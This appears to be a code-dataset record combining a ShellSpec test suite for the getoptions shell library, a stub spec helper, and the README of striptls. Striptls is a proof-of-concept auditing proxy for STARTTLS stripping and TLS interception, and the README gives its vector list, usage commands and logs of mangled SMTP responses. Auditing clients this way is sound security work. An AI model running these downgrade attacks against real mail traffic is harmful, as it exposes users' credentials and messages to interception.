text:
# shellcheck shell=sh disable=SC1083,SC2004,SC2016

Describe "getoptions()"
	Include ./lib/getoptions_base.sh

	parse() {
		eval "$(getoptions parser_definition _parse)"
		case $# in
			0) _parse ;;
			*) _parse "$@" ;;
		esac
	}

	restargs() {
		parse "$@"
		eval "set -- $ARGS"
		if [ $# -gt 0 ]; then
			echo "$@"
		fi
	}

	It "generates option parser"
		parser_definition() { setup ARGS; echo 'called' >&2; }
		When call parse
		The word 1 of stderr should eq "called"
		The status should be success
	End

	It "generates option parser with help"
		parser_definition() { setup ARGS help:usage; }
		getoptions_help() { echo 'getoptions_help called'; }
		When call parse
		The output should eq 'getoptions_help called'
		The status should be success
	End

	It "parses options with default parser name"
		parse() {
			eval "$(getoptions parser_definition -)"
			printf '%s ' "$@"
		}
		parser_definition() { setup ARGS; echo 'called' >&2; }
		When call parse 1 2 3
		The word 1 of stderr should eq "called"
		The output should eq "1 2 3 "
		The status should be success
	End

	Describe 'handling arguments'
		Context 'when scanning mode is default'
			parser_definition() {
				setup ARGS -- 'foo bar'
				flag FLAG_A -a
			}
			Specify "treats non-options as arguments"
				When call restargs -a 1 -a 2 -a 3 - -- -a
				The variable FLAG_A should eq 1
				The output should eq "1 2 3 - -a"
			End
		End

		Context "when scanning mode is '+'"
			parser_definition() {
				setup ARGS mode:'+'
				flag FLAG_A -a
			}
			Specify "treats rest following a non-option as arguments"
				When call restargs -a 1 -a 2 -a 3 -- -a
				The variable FLAG_A should eq 1
				The output should eq "1 -a 2 -a 3 -- -a"
			End

			Specify "treats -- as not arguments"
				When call restargs -a -- -a
				The variable FLAG_A should eq 1
				The output should eq "-a"
			End
		End

		Context "when scanning mode is '@'"
			parser_definition() {
				setup ARGS mode:'@'
				flag FLAG_A -a
			}
			Specify "treats rest following a non-option as arguments"
				When call restargs -a 1 -a 2 -a 3 -- -a
				The variable FLAG_A should eq 1
				The output should eq "1 -a 2 -a 3 -- -a"
			End

			Specify "treats -- as arguments"
				When call restargs -a -- -a
				The variable FLAG_A should eq 1
				The output should eq "-- -a"
			End
		End

		Context 'when the plus attribute disabled (default)'
			parser_definition() { setup ARGS; }
			Specify "treats as arguments"
				When call restargs +o
				The output should eq "+o"
			End
		End
	End

	Describe 'parser function'
		Context 'when the option parser ends normally'
			parser_definition() {
				setup ARGS
				flag FLAG_A -a
			}
			It "resets OPTIND and OPTARG"
				# Workaround for ksh 88
				foo() { [ "$OPTIND" -eq 1 ] || unset OPTIND; }
				OPTIND=1 && foo

				When call parse -a
				The variable OPTIND should eq 1
				The variable OPTARG should be undefined
			End
		End
	End

	Describe 'Default error handler'
		Context "when specified unknown option"
			parser_definition() { setup ARGS; }
			It "displays error"
				When run parse -x
				The stderr should eq "Unrecognized option: -x"
				The status should be failure
			End
		End

		Context "when specified unknown long option"
			parser_definition() { setup ARGS; }
			It "displays error"
				When run parse --long
				The stderr should eq "Unrecognized option: --long"
				The status should be failure
			End
		End

		Context "when specified an argument to flag"
			parser_definition() { setup ARGS; flag FLAG --flag; }
			It "displays error"
				When run parse --flag=value
				The stderr should eq "Does not allow an argument: --flag"
				The status should be failure
			End
		End

		Context "when missing an argument for parameter"
			parser_definition() { setup ARGS; param PARAM --param; }
			It "displays error"
				When run parse --param
				The stderr should eq "Requires an argument: --param"
				The status should be failure
			End
		End

		Context 'when the plus attribute enabled'
			parser_definition() { setup ARGS plus:true; }
			It "displays error if unknown +option specified"
				When run restargs +o
				The stderr should eq "Unrecognized option: +o"
				The status should be failure
			End
		End
	End

	Describe 'alternative mode'
		parser_definition() {
			setup ARGS alt:true
			flag FLAG --flag
			param PARAM --param
			option OPTION --option
		}
		It "allow long options to start with a single '-'"
			When call parse -flag -param p -option=o
			The variable FLAG should eq 1
			The variable PARAM should eq "p"
			The variable OPTION should eq "o"
		End
	End

	Describe 'prehook'
		parser_definition() {
			prehook() { echo "$@" >&2; invoke "$@"; }
			setup ARGS alt:true
			flag FLAG --flag
			param PARAM --param
			option OPTION --option
			msg -- 'message'
		}
		It "called before helper functions is called"
			When call parse -flag -param p -option=o
			The line 1 of stderr should eq "setup ARGS alt:true"
			The line 2 of stderr should eq "flag FLAG --flag"
			The line 3 of stderr should eq "param PARAM --param"
			The line 4 of stderr should eq "option OPTION --option"
			The line 5 of stderr should eq "msg -- message"
			The line 6 of stderr should eq "flag FLAG --flag"
			The line 7 of stderr should eq "param PARAM --param"
			The line 8 of stderr should eq "option OPTION --option"
			The line 9 of stderr should eq "msg -- message"
		End
	End

	Describe 'custom error handler'
		parser_definition() {
			setup RESTARGS error
			param PARAM -p
			param PARAM -q
			param PARAM --pattern pattern:'foo | bar'
			param VALID -v validate:'valid "$1"'
			param ARG --arg validate:arg
			flag  FLAG --flag
		}
		valid() { [ "$1" = "-v" ] && return 3; }
		arg() { false; }
		error() {
			case $2 in
				unknown) echo "custom $2: $3 [$OPTARG]"; return 20 ;;
				valid:3) echo "valid $2: $3 [$OPTARG]"; return 30 ;;
				pattern:'foo | bar') echo "pattern $2: $3 [$OPTARG]"; return 40 ;;
				arg:*) echo "invalid argument [$OPTARG]"; return 1 ;;
				noarg) echo "noarg [$OPTARG]"; return 1 ;;
			esac
			[ "$3" = "-q" ] && echo "$1 [$OPTARG]" && return 1
			return 0
		}

		It "display custom error message"
			When run parse -x
			The stderr should eq "custom unknown: -x []"
			The status should eq 20
		End

		It "display default error message when custom error handler succeeded"
			When run parse -p
			The stderr should eq "Requires an argument: -p"
			The status should eq 1
		End

		It "receives default error message"
			When run parse -q
			The stderr should eq "Requires an argument: -q []"
			The status should eq 1
		End

		It "receives exit status of custom validation"
			When run parse -v value
			The stderr should eq "valid valid:3: -v [value]"
			The status should eq 30
		End

		It "receives pattern"
			When run parse --pattern baz
			The stderr should eq "pattern pattern:foo | bar: --pattern [baz]"
			The status should eq 40
		End

		It "can refer to the OPTARG variable"
			When run parse --arg argument
			The stderr should eq "invalid argument [argument]"
			The status should eq 1
		End

		It "can refer to the OPTARG variable"
			When run parse --flag=argument
			The stderr should eq "noarg [argument]"
			The status should eq 1
		End
	End

	Describe 'flag helper'
		It "handles flags"
			parser_definition() {
				setup ARGS
				flag FLAG_A -a
				flag FLAG_B +b
				flag FLAG_C --flag-c
				flag FLAG_D --{no-}flag-d
				flag FLAG_E --no-flag-e
				flag FLAG_F --{no-}flag-f
				flag FLAG_G --with{out}-flag-g
				flag FLAG_H --without-flag-h
				flag FLAG_I --with{out}-flag-i
			}
			When call parse -a +b --flag-c --flag-d --no-flag-e --no-flag-f --with-flag-g --without-flag-h --without-flag-i
			The variable FLAG_A should eq 1
			The variable FLAG_B should eq ""
			The variable FLAG_C should eq 1
			The variable FLAG_D should eq 1
			The variable FLAG_E should eq ""
			The variable FLAG_F should eq ""
			The variable FLAG_G should eq 1
			The variable FLAG_H should eq ""
			The variable FLAG_I should eq ""
		End

		It "can change the set value"
			parser_definition() {
				setup ARGS
				flag FLAG_A -a on:ON no:NO
				flag FLAG_B +b on:ON no:NO
			}
			When call parse -a +b
			The variable FLAG_A should eq "ON"
			The variable FLAG_B should eq "NO"
		End

		It "set initial value when not specified flag"
			BeforeCall FLAG_N=none FLAG_E=""
			parser_definition() {
				setup ARGS
				flag FLAG_A -a on:ON no:NO init:@on
				flag FLAG_B -b on:ON no:NO init:@no
				flag FLAG_C -c on:ON no:NO init:'FLAG_C=func'
				flag FLAG_D -d on:ON no:NO
				flag FLAG_Q -q on:"a'b\""
				flag FLAG_U -u init:@unset
				flag FLAG_N -n init:@none
				flag FLAG_E -n init:@export
			}
			When call parse -q
			The variable FLAG_A should eq "ON"
			The variable FLAG_B should eq "NO"
			The variable FLAG_C should eq "func"
			The variable FLAG_D should eq ""
			The variable FLAG_Q should eq "a'b\""
			The variable FLAG_U should be undefined
			The variable FLAG_N should eq "none"
			The variable FLAG_E should be exported
		End

		It "can be used combined short flags"
			parser_definition() {
				setup ARGS
				flag FLAG_A -a
				flag FLAG_B -b
				flag FLAG_C -c
				flag FLAG_D +d init:@on
				flag FLAG_E +e init:@on
				flag FLAG_F +f init:@on
			}
			When call parse -abc +def
			The variable FLAG_A should be present
			The variable FLAG_B should be present
			The variable FLAG_C should be present
			The variable FLAG_D should be blank
			The variable FLAG_E should be blank
			The variable FLAG_F should be blank
		End

		It "counts flags"
			parser_definition() {
				setup ARGS
				flag COUNT -c +c counter:true
			}
			When call parse -c -c -c +c -c
			The variable COUNT should eq 3
		End

		It "calls the function"
			parser_definition() {
				setup ARGS
				flag :'foo "$1"' -f on:ON
			}
			foo() { echo "set [$OPTARG] : ${*:-}"; }
			When run parse -f
			The output should eq "set [ON] : -f"
		End

		It "calls the validator"
			valid() { echo "$OPTARG" "$@"; }
			parser_definition() {
				setup ARGS
				flag FLAG -f +f on:ON no:NO validate:'valid "$1"'
			}
			When call parse -f +f
			The line 1 should eq "ON -f"
			The line 2 should eq "NO +f"
		End

		Context 'when common flag value is specified'
			parser_definition() {
				setup ARGS on:ON no:NO
				flag FLAG_A -a
				flag FLAG_B +b
			}
			It "can change the set value"
				When call parse -a +b
				The variable FLAG_A should eq "ON"
				The variable FLAG_B should eq "NO"
			End
		End
	End

	Describe 'param helper'
		It "handles parameters"
			parser_definition() {
				setup ARGS
				param PARAM_P -p
				param PARAM_Q -q
				param PARAM   --param
			}
			When call parse -p value1 -qvalue2 --param=value3
			The variable PARAM_P should eq "value1"
			The variable PARAM_Q should eq "value2"
			The variable PARAM should eq "value3"
		End

		It "remains initial value when not specified parameter"
			parser_definition() {
				setup ARGS
				param PARAM_P -p init:="initial"
			}
			When call parse
			The variable PARAM_P should eq "initial"
		End

		It "calls the function"
			parser_definition() {
				setup ARGS
				param :'foo "$1"' -p
			}
			foo() { echo "set [$OPTARG] : ${*:-}"; }
			When run parse -p 123
			The output should eq "set [123] : -p"
		End

		It "calls the validator"
			valid() { echo "$OPTARG" "$@"; }
			parser_definition() {
				setup ARGS
				param PARAM_P -p validate:'valid "$1"'
				param PARAM_Q -q validate:'valid "$1"'
				param PARAM   --param validate:'valid "$1"'
			}
			When call parse -p value1 -qvalue2 --param=value3
			The line 1 should eq "value1 -p"
			The line 2 should eq "value2 -q"
			The line 3 should eq "value3 --param"
		End

		Context 'when specified pattern attribute'
			Parameters
				FOO success stdout ""
				BAZ failure stderr "Does not match the pattern (FOO | BAR): -p"
			End

			It "checks if it matches the pattern"
				parser_definition() {
					setup ARGS
					param PARAM -p pattern:'FOO | BAR'
				}
				When run parse -p "$1"
				The status should be "$2"
				The "$3" should eq "$4"
			End
		End
	End

	Describe 'option helper'
		It "handles options"
			parser_definition() {
				setup ARGS
				option OPTION   --option
				option OPTION_O -o on:"default"
				option OPTION_P -p
				option OPTION_N --no-option no:"omission"
			}
			When call parse  --option=value1 -o -pvalue2 --no-option
			The variable OPTION should eq "value1"
			The variable OPTION_O should eq "default"
			The variable OPTION_P should eq "value2"
			The variable OPTION_N should eq "omission"
		End

		Context "when specified an argument to --no-option"
			parser_definition() {
				setup ARGS
				option OPTION --no-option
			}
			It "displays error"
				When run parse --no-option=value
				The stderr should eq "Does not allow an argument: --no-option"
				The status should be failure
			End
		End

		Context "when specified an argument to --without-option"
		    parser_definition() {
				setup ARGS
				option OPTION --without-option
		    }
			It "displays error"
			    When run parse --without-option=value
				The stderr should eq "Does not allow an argument: --without-option"
				The status should be failure
			End
		End

		It "remains initial value when not specified parameter"
			parser_definition() {
				setup ARGS
				option OPTION_O -p init:="initial"
			}
			When call parse
			The variable OPTION_O should eq "initial"
		End

		It "calls the function"
			parser_definition() {
				setup ARGS
				option :'foo "$1"' -o
			}
			foo() { echo "set [$OPTARG] : ${*:-}"; }
			When run parse -o123
			The output should eq "set [123] : -o"
		End

		It "calls the validator"
			valid() { echo "$OPTARG" "$@"; }
			parser_definition() {
				setup ARGS
				option OPTION_O -o validate:'valid "$1"' on:"default"
				option OPTION_P -p validate:'valid "$1"'
				option OPTION   --option validate:'valid "$1"'
			}
			When call parse -o -pvalue1 --option=value2
			The line 1 should eq "default -o"
			The line 2 should eq "value1 -p"
			The line 3 should eq "value2 --option"
		End

		Context 'when specified pattern attribute'
			Parameters
				foo success stdout ""
				baz failure stderr "Does not match the pattern (foo | bar): -o"
			End

			It "checks if it matches the pattern"
				parser_definition() {
					setup ARGS
					option OPTION -o pattern:'foo | bar'
				}
				When run parse -o"$1"
				The status should be "$2"
				The "$3" should eq "$4"
			End
		End
	End

	Describe 'disp helper'
		BeforeRun VERSION=1.0

		It "displays the variable"
			parser_definition() {
				setup ARGS
				disp VERSION -v
			}
			When run parse -v
			The output should eq "1.0"
		End

		It "calls the function"
			version() { echo "func: $VERSION"; }
			parser_definition() {
				setup ARGS
				disp :version -v
			}
			When run parse -v
			The output should eq "func: 1.0"
		End
	End

	Describe 'msg helper'
		It "does nothing"
			parser_definition() {
				setup ARGS
				msg -- 'test' 'foo bar'
			}
			When run parse
			The output should be blank
		End
	End

	Describe 'subcommand'
		parser_definition() {
			setup ARGS
			flag FLAG -f
			cmd list
		}

		Context "when specify a subcommand that exists"
			Specify "treat subcommands and the rest as arguments"
				When call restargs -f list -g 1 2
				The output should eq "list -g 1 2"
				The variable FLAG should eq "1"
			End
		End

		Context "when not specify a subcommand"
			Specify "parse global options only"
				When call restargs -f
				The output should eq ""
				The variable FLAG should eq "1"
			End
		End

		Context "when no subcommand and only arguments are passed"
			Specify "the first argument is --"
				When call restargs -f -- list 1 2
				The output should eq "-- list 1 2"
				The variable FLAG should eq "1"
			End
		End

		Context "when specify a subcommand that not exists"
			Specify "displays error"
				When run restargs -f unknown -g 1 2
				The error should eq "Not a command: unknown"
				The status should be failure
			End
		End
	End
End


text:
#shellcheck shell=sh

set -eu

# shellspec_spec_helper_configure() {
#   shellspec_import 'support/custom_matcher'
# }

repo_language: Shell

mime_type: text/plain


text:
.. figure:: http://i68.tinypic.com/2iqz7t2.png

striptls - auditing proxy
=========================

poc implementation of STARTTLS stripping attacks
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

A generic tcp proxy implementation and audit tool to perform protocol
independent ``ssl/tls`` interception and ``STARTTLS`` stripping attacks
on ``SMTP``, ``POP3``, ``IMAP``, ``FTP``, ``NNTP``, ``XMPP``, ``ACAP``
and ``IRC``.

Requires:

-  Python >= 2.7.9 (``SSLContext``)
-  (optional for tls interception) Certificate and PrivateKey in PEM
   format (single file) ``--key=server.pem``

Vectors
^^^^^^^

-  GENERIC
-  Intercept - protocol independent ssl/tls interception. peeks for TLS
   Handshake, converts socket to tls (tls-to-tls proxy)
-  InboundIntercept - protocol independent ssl/tls interception for the
   inbound channel only (tls-to-plain proxy)
-  SMTP
-  SMTP.StripFromCapabilities - server response capability patch
-  SMTP.StripWithInvalidResponseCode - client STARTTLS stripping,
   invalid response code
-  SMTP.UntrustedIntercept - STARTTLS interception (client and server
   talking ssl) (requires server.pem in pwd)
-  SMTP.StripWithTemporaryError
-  SMTP.StripWithError
-  SMTP.ProtocolDowngradeStripExtendedMode
-  SMTP.InjectCommand
-  SMTP.InboundStarttlsProxy - (starttls-to-plain proxy)
-  POP3
-  POP3.StripFromCapabilities
-  POP3.StripWithError
-  POP3.UntrustedIntercept
-  IMAP
-  IMAP.StripFromCapabilities
-  IMAP.StripWithError
-  IMAP.UntrustedIntercept
-  IMAP.ProtocolDowngradeToV2
-  FTP
-  FTP.StripFromCapabilities
-  FTP.StripWithError
-  FTP.UntrustedIntercept
-  NNTP
-  NNTP.StripFromCapabilities
-  NNTP.StripWithError
-  NNTP.UntrustedIntercept
-  XMPP
-  XMPP.StripFromCapabilities
-  XMPP.StripInboundTLS
-  XMPP.UntrustedIntercept
-  ACAP (untested)
-  ACAP.StripFromCapabilities
-  ACAP.StripWithError
-  ACAP.UntrustedIntercept
-  IRC
-  IRC.StripFromCapabilities
-  IRC.StripWithError
-  IRC.UntrustedIntercept
-  IRC.StripWithNotRegistered
-  IRC.StripCAPWithNotregistered
-  IRC.StripWithSilentDrop

Results:

::

    - [*] client: 127.0.0.1
    -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
    -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
    -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
    -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
    - [*] client: 192.168.139.1
    -     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
    -     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
    -     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>

Usage
-----

::

    #> python -m striptls --help    # from pip/setup.py
    #> python striptls --help       # from source / root folder
    Usage: striptls.py [options]

           example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25

    Options:
      -h, --help            show this help message and exit
      -q, --quiet           be quiet [default: True]
      -l LISTEN, --listen=LISTEN
                            listen ip:port [default: 0.0.0.0:<remote_port>]
      -r REMOTE, --remote=REMOTE
                            remote target ip:port to forward sessions to
      -k KEY, --key=KEY     SSL Certificate and Private key file to use, PEM
                            format assumed [default: server.pem]
      -s, --generic-ssl-intercept
                            dynamically intercept SSL/TLS
      -b BUFFER_SIZE, --bufsiz=BUFFER_SIZE
      -x VECTORS, --vectors=VECTORS
                            Comma separated list of vectors. Use 'ALL' (default)
                            to select all vectors, 'NONE' for tcp/ssl proxy mode.
                            Available vectors: ACAP.StripFromCapabilities,
                            ACAP.StripWithError, ACAP.UntrustedIntercept,
                            FTP.StripFromCapabilities, FTP.StripWithError,
                            FTP.UntrustedIntercept, GENERIC.Intercept,
                            IMAP.ProtocolDowngradeToV2,
                            IMAP.StripFromCapabilities, IMAP.StripWithError,
                            IMAP.UntrustedIntercept,
                            IRC.StripCAPWithNotRegistered,
                            IRC.StripFromCapabilities, IRC.StripWithError,
                            IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,
                            IRC.UntrustedIntercept, NNTP.StripFromCapabilities,
                            NNTP.StripWithError, NNTP.UntrustedIntercept,
                            POP3.StripFromCapabilities, POP3.StripWithError,
                            POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy,
                            SMTP.InjectCommand,
                            SMTP.ProtocolDowngradeStripExtendedMode,
                            SMTP.StripFromCapabilities, SMTP.StripWithError,
                            SMTP.StripWithInvalidResponseCode,
                            SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,
                            XMPP.StripFromCapabilities, XMPP.StripInboundTLS,
                            XMPP.UntrustedIntercept [default: ALL]

Install (optional)
------------------

from pip

::

    #> pip install striptls

from source

::

    #> setup.py install

Examples
--------

::

                      inbound                    outbound
    [inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
      smtp-client                   striptls                    remote/target

local ``smtp-client`` -> ``localhost:8825`` (proxy) ->
``mail.gmx.net:25``

Generic SSL/TLS Interception
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

``--generic-ssl-intercept`` is a global switch to enable generic ssl/tls
handshake detection and session conversion. Can be combined with any
mangle/vector.

``GENERIC.Intercept`` is a mangle/vector implementation of the ssl/tls
handshake detect and convert feature.

::

    # python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept
    - INFO     - <Proxy 0x1fdcf50 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 465)> ready.
    - DEBUG    - * added vector (port:None , proto: GENERIC): <class __main__.Intercept at 0x0218AAB0>
    - INFO     - <RewriteDispatcher ssl/tls_intercept=False vectors={None: set([<class __main__.Intercept at 0x0218AAB0>])}>
    - INFO     - <Session 0x1ff00b0> client ('127.0.0.1', 8228) has connected
    - INFO     - <Session 0x1ff00b0> connecting to target ('mail.gmx.com', 465)
    - DEBUG    - <RewriteDispatcher  - changed mangle: __main__.Intercept new: True>
    - INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
    - INFO     - SSL Handshake detected - performing ssl/tls conversion
    - DEBUG    - <Session 0x1ff00b0> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
    - DEBUG    - <Session 0x1ff00b0> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
    - DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <Session 0x1ff00b0> [client] => [server]          'hi\r\n'
    - DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '500 Syntax error, command unrecognized\r\n'

    # python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept
    - INFO     - <Proxy 0x1efbf70 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 25)> ready.
    - INFO     - <RewriteDispatcher ssl/tls_intercept=True vectors={}>
    - DEBUG    - <ProtocolDetect 0x1f21b70 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0x1f10110> client ('127.0.0.1', 8290) has connected
    - INFO     - <Session 0x1f10110> connecting to target ('mail.gmx.com', 25)
    - DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO openssl.client.net\r\n'
    - DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0x1f10110> [client] => [server]          'STARTTLS\r\n'
    - DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 OK\r\n'
    - INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
    - INFO     - SSL Handshake detected - performing ssl/tls conversion
    - DEBUG    - <Session 0x1f10110> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
    - DEBUG    - <Session 0x1f10110> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
    - DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO A\r\n'
    - DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n'

Audit Mode
~~~~~~~~~~

iterates all protocol specific cases on a per client basis and keeps
track of clients violating the starttls protocol. Ctrl+C to abort audit
and print results.

::

    #> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
    - INFO     - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
    - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
    - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripWithError at 0xffd4635c>
    - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
    - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
    - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripWithError at 0xffd4629c>
    - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>
    - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>
    - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripWithError at 0xffd4641c>
    - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>
    - DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.StripWithError at 0xffd461dc>
    - DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.UntrustedIntercept at 0xffd4620c>
    - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>
    - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithError at 0xffd4614c>
    - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
    - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>
    - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>
    - DEBUG    - * added test (port:5222 , proto:    XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>
    - INFO     - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>
    - DEBUG    - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected
    - INFO     - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)
    - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithInvalidResponseCode new: True>
    - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'STARTTLS\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] => [server][mangled] None
    - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '530 Authentication required\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'rset\r\n'
    - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250 OK\r\n'
    - WARNING  - <Session 0xffcf6e4cL> terminated.
    - DEBUG    - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected
    - INFO     - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)
    - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithTemporaryError new: True>
    - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'STARTTLS\r\n'
    - DEBUG    - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
    - DEBUG    - <Session 0xffd0918cL> [client] => [server][mangled] None
    - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
    - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '530 Authentication required\r\n'
    - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'rset\r\n'
    - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250 OK\r\n'
    - WARNING  - <Session 0xffd0918cL> terminated.
    - DEBUG    - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected
    - INFO     - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)
    - DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
    - DEBUG    - <Session 0xffd0926cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
